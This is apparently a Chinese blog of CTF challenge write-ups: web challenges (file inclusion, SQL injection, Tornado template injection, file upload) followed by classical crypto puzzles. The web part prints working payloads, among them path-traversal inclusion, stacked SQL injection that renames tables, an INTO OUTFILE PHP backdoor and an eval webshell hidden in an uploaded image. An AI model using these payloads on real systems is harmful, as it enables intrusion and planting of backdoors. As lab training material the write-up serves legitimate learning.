[toc]
主要记录做题和学习经历。
web
warm up
- 根据提示进入source.php
- 代码审计
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
payload
- *checkFile返回true的出口一共有三个,总结起来就是:**
- 访问的文件是source.php或者hint.php(也就是白名单里的本来就让你访问到的;
- 截取文件名的第一个 ?之前的内容,该内容必须是source.php或者hint.php
- 经过url解码后截取文件名的第一个 ?之前的内容,该内容必须是source.php或者hint.php
- 同时还需利用PHPMyadmin4.81的漏洞,? 和 # 的双重编码 会将前面的文件名单作目录所以payload为
1
2
3
include "index.php%25%3f/.../../1.txt";
//include index.php上一级目录下1.txt?file=hint.php%253f/.../../../../ffffllllaaaagggg
随便注
Injection | Response | conclusions |
?inject=1' or '1'='1 | 三个 array(2) | 字符型 |
1' order by 3 --+ | error 1054 : Unknown column '3' in 'order clause' | 但 1' order by 2 --+ 返现正常 |
select | return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); | 过滤selece、update、delete、drop、insert、where和 . |
1';show tables;--+ |
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) { |
两个表 分别为`1919810931114514` `words` |
?inject=1';show columns from `words`;--+ | id data | |
1';show columns from `1919810931114514`;--+ | flag |
方法 1
Orz,佩服大佬思路
因为没有过滤alert
,rename
,且猜测原代码为 select * from words where id=
则先将words
改为words1
, 1919810931114514
改为words
,再将flag列改为 id
1';RENAME TABLE
wordsTO
words1;RENAME TABLE
1919810931114514TO
words;ALTER TABLE
wordsCHANGE
flag
idVARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
后?inject=1' or '1'='1
再膜拜大佬 wp
方法 2
1 | SET @tn = 'hahaha'; //存储表名 |
这样即可利用char()方法将ASCII码转换为SELECT字符串,接着利用concat()方法进行拼接获得查询的SQL语句,最后执行即可,payload如下:?inject=';SET @sql=concat(char(115,101,108,101,99,116)," * from
1919810931114514");PREPARE sqla from @sql;EXECUTE sqla;#
或?inject=';SET @sql=concat("s","elect"," * from
words");PREPARE sqla from @sql;EXECUTE sqla;#
方法 3
- root 用户
1';Set @sql=concat("s","elect user()");PREPARE sqla from @sql;EXECUTE sqla;
1';Set @sql=concat("s","elect '<?php @print_r(
$_GET1);?>' into outfile '/var/www/html/1",char(46),"php'");PREPARE sqla from @sql;EXECUTE sqla;
- 将select 用concat拼接
.
用 char(46)代替- MySQL into outputfile给网站留后门,将1.php 写在/var/www/html目录下
- 传参 /1.php?1=mysql -uroot -proot -e “use supersqli;select flag from `1919810931114514'
easy_tornado
/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))
尝试发现在在更改url,后到报错页面error?msg=Error
根据提示,去得cookie_secret
/error?msg={{handler.settings}}
根据
md5(cookie_secret+md5(filename))
计算
filehash1
2
3
4
5
6
7
8
9
10
11
12
13
14import hashlib
def md5encode(str):
m = hashlib.md5()
m.update(str)
return m.hexdigest()
name = '/fllllllllllllag'
secret = 'b7c9c5f2-23c3-408c-aaaf-5e77f71ce17f'
name = name.encode()
filehash = md5encode((secret + md5encode(name)).encode())
print(filehash)
#e253d013ddc9ff18cdc8582b2659b19fpayload
file?filename=/fllllllllllllag&filehash=e253d013ddc9ff18cdc8582b2659b19f
easy_sql
- 堆栈注入
set sql_mode=PIPES_AS_CONCAT;
会将||视为字符串的连接操作符而非或运算符- 可以注入
*
后台逻辑select $_POST[query] ||flag from flag
payload1;set sql_mode=PIPES_AS_CONCAT;select 1
在select 1||flag from flag的结果类似于select concat(1,flag) from flag;
同时这题没有过滤*,payload query=*,1
也可以
admin
Orz 运气爆表 admin密码123一次成功,我傻了爆破大法好
重做
大致思路是利用change.php 来修改admin 的密码
放大佬的思路飘吹在此
高明的黑客
\www.tar.gz
先在下源代码
本地搭个环境(PHP7)尝试所有的GET和POST参数
1 | import os |
easy_calc
页面源代码
1 | <script> |
calc.php
1 |
|
- 首先读取目录信息
? num=1;var_dump(scandir(chr(47)))
- 读取f1agg
- 0x1
?%20num=1;var_dump(readfile((hex2bin(dechex(47)).base_convert(25254448,10,36))))
- 0x2
?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
注意num前有一个空格,是因为wef不允许num传字符,但在php解析时,会先将空格去除再运行
有师傅用利用HTTP请求走私成功了,有兴趣可以看一下
CheckIn
思路先上传.user.ini 使后上传的相应图片能加入到php文件中,从而webshell
姿势点:
- 文件头验证
- JPG :FF D8 FF E0 00 10 4A 46 49 46
- PNG: 89 50 4E 47
- GIF(相当于文本的GIF89a):47 49 46 38 39 61
2.上传user.ini
payload
上传.user.ini
1
2GIF89="123"
auto_prepend_file=01.gif上传图片
1
2GIF89="123"
<script language=php>eval($_POST['cmd']);</script>注意这里<? 型在黑名单
访问uploads/xxxxx/index.php uploads/xxxxx/为图片文件夹
- 查看目录
cmd=var_dump(scandir("/"));
- :) flag is here
cmd=var_dump(readfile("/flag"));
推荐阅读
[CISCN2019] hello word
借这题回顾知识😓
测试结果
不可行:”,空格,union,#,–+,etc
可行:tab,where,select,from,flag,()
bool盲注
1 | import requests |
建议两个一块跑
SSRF ME
考点
- 读取文件的特殊方法
- 哈希扩展
第一次遇到python web开发推荐学习 w3cschool_flask
wp
极客大挑战 easysql
- 万能密码
?username=admin&password=1%27+or+1%3D%271
极客大挑战 2019]Havefun
… 看源代码
1 | $cat=$_GET['cat']; |
?cat=dog
crypto
md5
- 在得到密文后,先放在md5彩虹表查查
得admin1
看我回旋踢
- 凯撒
url
就是url 编码
一眼就解密
base64
摩斯
如题
变异凯撒
字符串 | ASCII |
a ,f,Z,_ | a:97,f:102,Z:106, _:95 |
ctf | c:99, t:116 , f:102 |
flag | f:102,l:108,a:97,g:103 |
1 | #!/usr/bin/env/ python\ |
Quoted-printable
http://www.mxcz.net/tools/quotedprintable.aspx=E9=82=A3=E4=BD=A0=E4=B9=9F=E5=BE=88=E6=A3=92=E5=93=A6
在所有邮件处理的各式各样的编码中,很多编码的目的都是通过编码手段使 得七位字符的邮件协议体系可以传送八位的二进制文件、双字节语言文字等等。 Quoted-Printable也是这样一些编码中的一个, 它的目的同样是帮助非ASCII 编码的信件传输通过 SMTP。Quoted-Printable 编码是字符对应的编码,每个未 编码的二进制字符被编码成三个字符,即一个等号和一个十六进制的数字,如“=A8”。
password
flag{zs19900315}
zip伪加密
。。。这叫misc吧。。。
Rabbit
https://www.sojson.com/encrypt_rabbit.html
RSA
1 |
|
丢失的MD5
1 | import hashlib |
篱笆墙的影子
https://www.qqxiuzi.cn/bianma/zhalanmima.php
取12
Alice&Bob
密码学历史中,有两位知名的杰出人物,Alice和Bob。他们的爱情经过置换和轮加密也难以混淆,即使是没有身份认证也可以知根知底。就像在数学王国中的素数一样,孤傲又热情。下面是一个大整数:98554799767,请分解为两个素数,分解后,小的放前面,大的放后面,合成一个新的数字,进行md5的32位小写哈希,提交答案。 注意:得到的 flag 请包上 flag{} 提交
http://factordb.com/index.php来拆素数
1 | import hashlib |
rsarsa
1 | import gmpy2 |
传统知识+经典密码
根据对应的干支得到
28 30 23 8 17 10 16 30 后面写着+甲子 所有的数加60
得到
88 90 83 68 77 70 76 90
找到ASCII码对照表可得到XZSDMFLZ
栅栏密码(两栏):
XMZFSLDZ
凯撒:
SHUANGYU
大帝的秘密武器
1 | flag = '' |